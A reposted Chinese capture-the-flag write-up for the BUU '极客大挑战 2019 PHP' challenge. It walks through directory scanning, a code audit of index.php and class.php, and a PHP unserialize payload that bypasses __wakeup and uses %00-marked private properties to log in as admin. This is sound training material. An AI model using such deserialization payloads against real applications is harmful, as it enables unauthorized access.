欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUU [极客大挑战 2019]PHP(代码审计+序列化) write up

程序员文章站 2022-05-14 08:41:26
...

提示有备份,菜鸡我第一时间想到的就是index.php.bak,但试过后明显没有这个文件,于是只有用dirsearch扫描以下目录了。
BUU [极客大挑战 2019]PHP(代码审计+序列化) write up
BUU [极客大挑战 2019]PHP(代码审计+序列化) write up
index.php里面包含了class.php
BUU [极客大挑战 2019]PHP(代码审计+序列化) write up

include() 		//可运行包含文件里的代码
$_GET()			//传参
unserialize()	//反序列化

然后去看class.php,有一大堆函数,相当于给index.php加了一个Name类。
有几个函数与方法:

function __construct()	//构造函数
function __wakeup()		//unserialize()调用时会先运行此函数加载资源
function __distruct()	//析构函数

大致意思是你得调用Name类,序列化admin与passwrod,还得绕过__wakeup()(一般序列化都会出现绕过wakeup函数)。在本地调试加上:

$a = new Name('admin', 100);
$b = serialize($a);
print($b); 

BUU [极客大挑战 2019]PHP(代码审计+序列化) write up然后构造payload:
一般利用属性个数大于真实个数时可以绕过wakeup()函数

 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过wakeup后还不够,因为username与password都是私有的。上传时会自动在类与字段名前加上 \0 (这里表示ascii为0的字符也就是 空 )。但你在复制时会被去掉,所以上面的payload直接用是不行了。于是可以加上 %00 (url解码后也为空)

payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

或者也可以用python提交:
BUU [极客大挑战 2019]PHP(代码审计+序列化) write up
大佬资料:https://blog.csdn.net/weixin_44077544/article/details/103542260